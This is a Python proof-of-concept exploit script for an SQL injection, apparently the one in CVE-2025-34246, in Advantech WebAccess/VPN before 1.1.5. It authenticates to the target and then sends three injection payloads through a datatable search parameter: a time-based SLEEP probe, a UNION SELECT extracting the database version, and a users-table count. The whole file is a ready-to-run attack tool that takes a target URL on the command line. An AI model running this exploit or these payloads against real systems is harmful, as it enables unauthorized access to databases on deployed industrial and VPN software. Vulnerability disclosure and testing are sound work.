# CVE-2025-34246 SQL Injection PoC
# Target: Advantech WebAccess/VPN < 1.1.5
# Author: VulnCheck
import requests
import argparse
def exploit_sqli(target_url, username, password):
"""Exploit SQL injection in AjaxPrevalidationController.ajaxAction()"""
# Login to get authenticated session
login_url = f"{target_url}/api/auth/login"
login_data = {
"username": username,
"password": password
}
session = requests.Session()
response = session.post(login_url, json=login_data)
if response.status_code != 200:
print(f"[-] Login failed: {response.status_code}")
return None
print("[+] Login successful")
# SQL Injection via datatable search parameter
sqli_url = f"{target_url}/AjaxPrevalidationController/ajaxAction"
# Blind SQL injection to extract database version
# Using time-based blind SQLi technique
payloads = [
"test' AND (SELECT CASE WHEN (1=1) THEN SLEEP(5) ELSE 0 END)-- ",
"test' UNION SELECT NULL,@@version,NULL-- ",
"test' AND (SELECT COUNT(*) FROM users) > 0-- "
]
headers = {
"Content-Type": "application/json",
"X-Requested-With": "XMLHttpRequest"
}
for i, payload in enumerate(payloads, 1):
print(f"\n[*] Testing payload {i}...")
data = {
"action": "search",
"search": payload,
"datatable": "user_list"
}
try:
response = session.post(sqli_url, json=data, headers=headers, timeout=30)
print(f"[+] Response status: {response.status_code}")
print(f"[+] Response preview: {response.text[:500]}")
except requests.exceptions.Timeout:
print("[+] SQL Injection confirmed - Time-based blind injection works!")
except Exception as e:
print(f"[-] Error: {e}")
return session
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="CVE-2025-34246 SQL Injection PoC")
parser.add_argument("-t", "--target", required=True, help="Target URL")
parser.add_argument("-u", "--username", required=True, help="Username")
parser.add_argument("-p", "--password", required=True, help="Password")
args = parser.parse_args()
exploit_sqli(args.target, args.username, args.password)